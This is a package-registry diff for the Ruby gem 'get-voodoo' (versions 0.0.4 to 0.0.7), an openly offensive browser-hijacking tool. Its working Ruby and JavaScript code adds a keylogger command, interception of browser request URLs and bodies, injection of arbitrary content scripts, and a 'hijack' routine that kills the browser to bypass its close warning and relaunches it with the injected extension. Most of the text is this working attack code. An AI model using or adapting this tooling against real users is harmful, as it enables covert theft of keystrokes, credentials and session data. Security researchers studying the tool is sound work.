get-voodoo 0.0.4 → 0.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/voodoo/browser.rb +44 -15
- data/lib/voodoo/cli.rb +59 -104
- data/lib/voodoo/js/intercept.js +27 -6
- data/lib/voodoo/js/keylogger.js +1 -1
- data/lib/voodoo/js/voodoo.js +1 -1
- data/lib/voodoo/output.rb +60 -0
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 48f625147c6aaac009daf7eaf757d3e0d10440775a9f342aa104dc308ea26562
|
4
|
+
data.tar.gz: 0b0fe414de74e8c7d585603319ae52dfb6ff80f31ee92d44be3b29e080532c38
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 317e11e1b5ea9ba7e98fa4ba9633e65ca6872c267217f3f0bd828dcb0b464e7d01c9ec9f1a51a9898a29a088ed57b585c33998000fb205518bf4fdaf5004e9b6
|
7
|
+
data.tar.gz: db86ed152a6b5f21dabd7f5ff2609e1d0d0f51db4bb4566828e24a9f49605bce10eb18d2a367e22a53820342f53385920ef12cc65c774ece1af5f7c41e29a262
|
data/lib/voodoo/browser.rb
CHANGED
@@ -19,15 +19,16 @@ module VOODOO
|
|
19
19
|
@extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
|
20
20
|
end
|
21
21
|
|
22
|
-
def keylogger(matches: '*://*/*')
|
22
|
+
def keylogger(matches: '*://*/*', max_events: nil)
|
23
23
|
add_script(matches: matches,
|
24
|
-
file: File.join(__dir__, 'js/keylogger.js')
|
24
|
+
file: File.join(__dir__, 'js/keylogger.js'),
|
25
|
+
max_events: max_events
|
25
26
|
) do |event|
|
26
27
|
yield event
|
27
28
|
end
|
28
29
|
end
|
29
30
|
|
30
|
-
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
|
31
|
+
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
|
31
32
|
options = {
|
32
33
|
matches: matches,
|
33
34
|
url_include: url_include,
|
@@ -37,6 +38,7 @@ module VOODOO
|
|
37
38
|
|
38
39
|
add_script(options: options,
|
39
40
|
background: true,
|
41
|
+
max_events: max_events,
|
40
42
|
file: File.join(__dir__, 'js/intercept.js')
|
41
43
|
) do |event|
|
42
44
|
yield event
|
@@ -48,13 +50,14 @@ module VOODOO
|
|
48
50
|
@extension.manifest[:permissions] += permissions
|
49
51
|
end
|
50
52
|
|
51
|
-
def hijack(urls)
|
53
|
+
def hijack(urls = [])
|
52
54
|
# kill the browser process twise, to bypass close warning
|
53
55
|
`pkill -a -i "#{@process_name}"`
|
54
56
|
`pkill -a -i "#{@process_name}"`
|
55
57
|
sleep 0.1
|
56
58
|
|
57
59
|
urls = [urls] unless urls.kind_of? Array
|
60
|
+
urls = urls.uniq
|
58
61
|
|
59
62
|
profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
|
60
63
|
`open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
|
@@ -91,7 +94,7 @@ module VOODOO
|
|
91
94
|
self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
|
92
95
|
end
|
93
96
|
|
94
|
-
def add_script(content: nil, file: nil, matches: nil, options: {}, background: false)
|
97
|
+
def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
|
95
98
|
if matches != nil && background != false
|
96
99
|
puts 'WARNING: matches is ignored when background is set to true.'
|
97
100
|
end
|
@@ -104,14 +107,48 @@ module VOODOO
|
|
104
107
|
raise StandardError.new(':content or :file argument are required')
|
105
108
|
end
|
106
109
|
|
110
|
+
event_count = 0
|
111
|
+
|
107
112
|
if block_given?
|
108
113
|
collector = Collector.new
|
109
|
-
collector.on_json {|jsond|
|
114
|
+
collector.on_json {|jsond|
|
115
|
+
yield jsond
|
116
|
+
if (max_events != nil)
|
117
|
+
event_count += 1
|
118
|
+
if event_count >= max_events.to_i
|
119
|
+
collector.thread.kill
|
120
|
+
end
|
121
|
+
end
|
122
|
+
}
|
110
123
|
@collector_threads.push(collector.thread)
|
111
124
|
options[:collector_url] = collector.url
|
112
125
|
end
|
113
126
|
|
114
|
-
|
127
|
+
options.keys.each do |key|
|
128
|
+
options[(key.to_sym rescue key) || key] = options.delete(key)
|
129
|
+
end
|
130
|
+
|
131
|
+
voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
|
132
|
+
content = voodoo_js + "\n" + content
|
133
|
+
|
134
|
+
# find variables
|
135
|
+
variables = content.scan(/%{[a-z_0-9]+}/i)
|
136
|
+
|
137
|
+
for var in variables
|
138
|
+
# remove %{}
|
139
|
+
var_sym = var[2...(var.length)-1].to_sym
|
140
|
+
if !options[var_sym]
|
141
|
+
# when option is missing set it to nil
|
142
|
+
options[var_sym] = nil
|
143
|
+
else
|
144
|
+
if !options[var_sym].kind_of? String
|
145
|
+
content = content.gsub("\"#{var}\"", var)
|
146
|
+
options[var_sym] = JSON.generate(options[var_sym])
|
147
|
+
end
|
148
|
+
end
|
149
|
+
end
|
150
|
+
|
151
|
+
content = content % options
|
115
152
|
|
116
153
|
if background == true
|
117
154
|
return @extension.add_background_script(content: content)
|
@@ -132,14 +169,6 @@ module VOODOO
|
|
132
169
|
@collector_threads.push(collector.thread)
|
133
170
|
return collector
|
134
171
|
end
|
135
|
-
|
136
|
-
def build_js(file, with_options: nil)
|
137
|
-
js = File.read(File.join(__dir__, 'js', file))
|
138
|
-
if with_options != nil
|
139
|
-
js = js.gsub('$OPTIONS', JSON.generate(with_options))
|
140
|
-
end
|
141
|
-
return js
|
142
|
-
end
|
143
172
|
end
|
144
173
|
|
145
174
|
end
|
data/lib/voodoo/cli.rb
CHANGED
@@ -1,11 +1,12 @@
|
|
1
1
|
require 'thor'
|
2
2
|
require 'json'
|
3
3
|
require 'yaml'
|
4
|
+
require 'voodoo/output'
|
4
5
|
require 'voodoo/browser'
|
5
6
|
|
6
7
|
module VOODOO
|
7
8
|
|
8
|
-
VERSION = 'v0.0.
|
9
|
+
VERSION = 'v0.0.7'
|
9
10
|
|
10
11
|
class CLI < Thor
|
11
12
|
|
@@ -15,171 +16,125 @@ module VOODOO
|
|
15
16
|
end
|
16
17
|
|
17
18
|
option :url_include, :type => :string, :aliases => :u, :default => nil
|
18
|
-
option :body_include, :type => :string, :aliases => :
|
19
|
+
option :body_include, :type => :string, :aliases => :i, :default => nil
|
19
20
|
option :header_exists, :type => :string, :aliases => :h, :default => nil
|
20
|
-
option :
|
21
|
+
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
|
22
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
21
23
|
option :urls, :type => :array, :aliases => :x, :default => []
|
22
24
|
option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
|
23
25
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
24
|
-
|
26
|
+
option :max_events, :type => :numeric, :default => nil
|
27
|
+
desc 'intercept', 'Intercept browser requests'
|
25
28
|
def intercept
|
26
29
|
browser = get_browser options[:browser]
|
27
|
-
|
28
|
-
output = options[:output]
|
29
|
-
|
30
|
-
if output != 'stdout'
|
31
|
-
output = open(output, 'a')
|
32
|
-
end
|
30
|
+
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
|
33
31
|
|
34
32
|
browser.intercept(matches: options[:matches],
|
35
33
|
url_include: options[:url_include],
|
36
|
-
body_include: options[:body_include]
|
37
|
-
|
38
|
-
|
39
|
-
if output != 'stdout'
|
40
|
-
output.puts JSON.generate(req)
|
41
|
-
output.close
|
42
|
-
output = open(output, 'a')
|
43
|
-
else
|
44
|
-
puts "#{req[:method]} #{req[:url]}"
|
45
|
-
if req[:body]
|
46
|
-
body = req[:body]
|
47
|
-
if body.length > 100
|
48
|
-
body = body[0...97] + '...'
|
49
|
-
end
|
50
|
-
puts "BODY: #{body}"
|
51
|
-
end
|
52
|
-
end
|
34
|
+
body_include: options[:body_include],
|
35
|
+
max_events: options[:max_events]) do |event|
|
36
|
+
output_handler.handle(event)
|
53
37
|
end
|
54
38
|
|
55
|
-
browser.hijack
|
39
|
+
browser.hijack options[:urls]
|
56
40
|
end
|
57
41
|
|
58
42
|
option :urls, :type => :array, :aliases => :x, :default => []
|
59
|
-
option :
|
60
|
-
option :
|
43
|
+
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
|
44
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
45
|
+
option :params, :type => :hash,:aliases => :p, :default => {}
|
61
46
|
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
62
47
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
63
48
|
option :permissions, :type => :array, :aliases => :p, :default => []
|
64
|
-
|
49
|
+
option :max_events, :type => :numeric, :default => nil
|
50
|
+
desc 'script <js/path>', 'Add a content script'
|
65
51
|
def script(path_or_js)
|
66
52
|
browser = get_browser options[:browser]
|
67
53
|
browser.add_permissions options[:permissions]
|
54
|
+
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'script')
|
68
55
|
|
69
|
-
|
56
|
+
file = nil
|
57
|
+
content = nil
|
70
58
|
|
71
|
-
if
|
72
|
-
|
59
|
+
if File.exists? path_or_js
|
60
|
+
file = path_or_js
|
61
|
+
else
|
62
|
+
content = path_or_js
|
73
63
|
end
|
74
64
|
|
75
|
-
if
|
76
|
-
|
77
|
-
|
78
|
-
if output != 'stdout'
|
79
|
-
output.puts JSON.generate(event)
|
80
|
-
else
|
81
|
-
puts "#{event[:origin]}: #{event[:payload]}"
|
82
|
-
end
|
83
|
-
end
|
84
|
-
else
|
85
|
-
browser.add_script file: path_or_js, options: options[:js_vars]
|
65
|
+
if output_handler.writable
|
66
|
+
browser.add_script file: file, content: content, options: options[:params], max_events: options[:max_events] do |event|
|
67
|
+
output_handler.handle(event)
|
86
68
|
end
|
87
69
|
else
|
88
|
-
|
89
|
-
browser.add_script content: path_or_js, options: options[:js_vars] do |event|
|
90
|
-
if output != 'stdout'
|
91
|
-
output.puts JSON.generate(event)
|
92
|
-
else
|
93
|
-
puts "[+] #{event[:origin]} => #{event[:payload]}"
|
94
|
-
end
|
95
|
-
end
|
96
|
-
else
|
97
|
-
browser.add_script content: path_or_js, options: options[:js_vars]
|
98
|
-
end
|
70
|
+
browser.add_script file: file, content: content, options: options[:params]
|
99
71
|
end
|
100
72
|
|
101
|
-
browser.hijack
|
73
|
+
browser.hijack options[:urls]
|
102
74
|
end
|
103
75
|
|
104
76
|
option :urls, :type => :array, :aliases => :x, :default => []
|
105
|
-
option :
|
77
|
+
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
|
78
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
106
79
|
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
107
80
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
108
|
-
|
81
|
+
option :max_events, :type => :numeric, :default => nil
|
82
|
+
desc 'keylogger', 'Records user keystrokes'
|
109
83
|
def keylogger
|
110
84
|
browser = get_browser options[:browser]
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
output = open(output, 'a')
|
85
|
+
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'keylogger')
|
86
|
+
browser.keylogger(matches: options[:matches], max_events: options[:max_events]) do |event|
|
87
|
+
output_handler.handle(event)
|
115
88
|
end
|
116
|
-
|
117
|
-
browser.keylogger(matches: options[:matches]) do |event|
|
118
|
-
if output != 'stdout'
|
119
|
-
output.puts JSON.generate(event)
|
120
|
-
else
|
121
|
-
print event[:payload][:log]
|
122
|
-
end
|
123
|
-
end
|
124
|
-
|
125
|
-
browser.hijack url: options[:site]
|
89
|
+
browser.hijack options[:urls]
|
126
90
|
end
|
127
91
|
|
128
92
|
option :browser, :type => :string, :aliases => :b, :default => nil
|
129
|
-
option :
|
93
|
+
option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, none'
|
94
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
130
95
|
option :urls, :type => :array, :aliases => :x, :default => []
|
131
|
-
option :
|
132
|
-
|
96
|
+
option :params, :type => :hash,:aliases => :p, :default => {}
|
97
|
+
option :max_events, :type => :numeric, :default => nil
|
98
|
+
desc 'template <path>', 'Execute a VOODOO template'
|
133
99
|
def template(path)
|
134
100
|
pwd = Dir.pwd
|
135
|
-
output = options[:output]
|
136
101
|
|
137
102
|
if File.directory? path
|
138
|
-
pwd = File.expand_path
|
139
|
-
template = YAML.load_file(File.join(path, 'voodoo.
|
103
|
+
pwd = File.expand_path(File.join(pwd, path))
|
104
|
+
template = YAML.load_file(File.join(path, 'voodoo.yaml'))
|
140
105
|
else
|
141
|
-
pwd = File.expand_path
|
106
|
+
pwd = File.expand_path(File.join(pwd, File.dirname(path)))
|
142
107
|
template = YAML.load_file(path)
|
143
108
|
end
|
144
109
|
|
145
|
-
template = YAML.load_file(path)
|
146
|
-
|
147
|
-
if output == 'none' && template['output']
|
148
|
-
output = template['output']
|
149
|
-
end
|
150
|
-
|
151
110
|
browser_inst = template['browser'] || {}
|
152
|
-
|
153
111
|
browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
|
154
112
|
|
155
113
|
if template['permissions']
|
156
114
|
browser.add_permissions template['permissions']
|
157
115
|
end
|
158
|
-
|
159
|
-
|
160
|
-
|
116
|
+
|
117
|
+
output_format = options[:format]
|
118
|
+
is_default = output_format == 'none'
|
119
|
+
|
120
|
+
if is_default && template['format']
|
121
|
+
output_format = template['format']
|
161
122
|
end
|
162
123
|
|
163
|
-
|
124
|
+
output_handler = Output.new(file: options[:output], in_format: output_format, for_command: 'template')
|
125
|
+
|
126
|
+
template['scripts'].each do |script|
|
164
127
|
file = File.expand_path(File.join(pwd, script['file'])) if script['file']
|
165
128
|
content = script['content']
|
166
129
|
matches = script['matches']
|
167
|
-
js_vars = options[:js_vars]
|
168
130
|
background = script['background'] || false
|
169
131
|
|
170
|
-
if
|
171
|
-
browser.add_script(matches: matches, file: file, content: content, options:
|
172
|
-
|
173
|
-
when 'stdout'
|
174
|
-
puts JSON.generate(event)
|
175
|
-
when 'stdout:payload'
|
176
|
-
puts JSON.generate(event[:payload])
|
177
|
-
else
|
178
|
-
output.puts JSON.generate(event)
|
179
|
-
end
|
132
|
+
if output_handler.writable
|
133
|
+
browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
|
134
|
+
output_handler.handle(event)
|
180
135
|
end
|
181
136
|
else
|
182
|
-
browser.add_script(matches: matches,content: content, options:
|
137
|
+
browser.add_script(matches: matches,content: content, options: options[:params], background: background)
|
183
138
|
end
|
184
139
|
end
|
185
140
|
|
@@ -189,7 +144,7 @@ module VOODOO
|
|
189
144
|
urls = browser_inst['urls']
|
190
145
|
end
|
191
146
|
|
192
|
-
browser.hijack urls
|
147
|
+
browser.hijack urls
|
193
148
|
end
|
194
149
|
|
195
150
|
def self.exit_on_failure?
|
data/lib/voodoo/js/intercept.js
CHANGED
@@ -2,8 +2,14 @@
|
|
2
2
|
* VOODOO Intercept
|
3
3
|
*/
|
4
4
|
(function () {
|
5
|
-
let options =
|
6
|
-
|
5
|
+
let options = {
|
6
|
+
body_include: "%{body_include}",
|
7
|
+
url_include: "%{url_include}",
|
8
|
+
collector_url: "%{collector_url}",
|
9
|
+
header_exists: "%{header_exists}"
|
10
|
+
};
|
11
|
+
|
12
|
+
let matches = "%{matches}";
|
7
13
|
|
8
14
|
if (options.header_exists) {
|
9
15
|
options.header_exists = options.header_exists.toLowerCase();
|
@@ -13,6 +19,14 @@
|
|
13
19
|
matches = [matches];
|
14
20
|
}
|
15
21
|
|
22
|
+
function parseBody(body) {
|
23
|
+
try {
|
24
|
+
return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
|
25
|
+
} catch {
|
26
|
+
return "";
|
27
|
+
}
|
28
|
+
}
|
29
|
+
|
16
30
|
const requests = new Map();
|
17
31
|
|
18
32
|
chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
|
@@ -48,13 +62,20 @@
|
|
48
62
|
}
|
49
63
|
|
50
64
|
if (options.url_include && request.url.indexOf(options.url_include) === -1) {
|
51
|
-
return;
|
65
|
+
return { cancel: false };
|
52
66
|
}
|
53
67
|
|
54
|
-
|
55
|
-
|
68
|
+
if (options.body_include && !request.requestBody) {
|
69
|
+
return { cancel: false };
|
70
|
+
}
|
71
|
+
|
72
|
+
if (request.requestBody) {
|
73
|
+
request.body = parseBody(request.requestBody);
|
56
74
|
delete request.requestBody;
|
57
|
-
|
75
|
+
if (options.body_include && request.body.indexOf(options.body_include) === -1) {
|
76
|
+
return { cancel: false };
|
77
|
+
}
|
78
|
+
}
|
58
79
|
|
59
80
|
requests.set(request.requestId, request);
|
60
81
|
return { cancel: false };
|
data/lib/voodoo/js/keylogger.js
CHANGED
data/lib/voodoo/js/voodoo.js
CHANGED
@@ -0,0 +1,60 @@
|
|
1
|
+
module VOODOO
|
2
|
+
|
3
|
+
class Output
|
4
|
+
attr_reader :writable
|
5
|
+
|
6
|
+
def initialize(file: nil, in_format: nil, for_command: nil)
|
7
|
+
@file = nil
|
8
|
+
@format = in_format
|
9
|
+
@command = for_command
|
10
|
+
@writable = in_format != 'none'
|
11
|
+
@file = open(file, 'a') if file
|
12
|
+
end
|
13
|
+
|
14
|
+
def write(any, with_print: false)
|
15
|
+
if @file
|
16
|
+
@file.puts any
|
17
|
+
else
|
18
|
+
if with_print
|
19
|
+
print any
|
20
|
+
else
|
21
|
+
puts any
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
25
|
+
|
26
|
+
def handle(event)
|
27
|
+
if !@writable
|
28
|
+
return
|
29
|
+
end
|
30
|
+
|
31
|
+
case @format
|
32
|
+
when 'pretty'
|
33
|
+
case @command
|
34
|
+
when 'keylogger'
|
35
|
+
write event[:payload], with_print: true
|
36
|
+
when 'intercept'
|
37
|
+
req = event[:payload]
|
38
|
+
write "#{req[:method]} #{req[:url]}"
|
39
|
+
req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
|
40
|
+
|
41
|
+
if req[:body]
|
42
|
+
write "BODY: #{event[:payload][:body]}"
|
43
|
+
end
|
44
|
+
else
|
45
|
+
write JSON.generate(event[:payload])
|
46
|
+
end
|
47
|
+
when 'json'
|
48
|
+
write JSON.generate(event)
|
49
|
+
when 'payload'
|
50
|
+
write JSON.generate(event[:payload])
|
51
|
+
else
|
52
|
+
write JSON.generate(event)
|
53
|
+
end
|
54
|
+
|
55
|
+
true
|
56
|
+
end
|
57
|
+
|
58
|
+
end
|
59
|
+
|
60
|
+
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: get-voodoo
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0.
|
4
|
+
version: 0.0.7
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Ron Masas
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2022-03-
|
11
|
+
date: 2022-03-12 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: thor
|
@@ -83,6 +83,7 @@ files:
|
|
83
83
|
- lib/voodoo/js/intercept.js
|
84
84
|
- lib/voodoo/js/keylogger.js
|
85
85
|
- lib/voodoo/js/voodoo.js
|
86
|
+
- lib/voodoo/output.rb
|
86
87
|
homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
|
87
88
|
licenses:
|
88
89
|
- GPL-2.0
|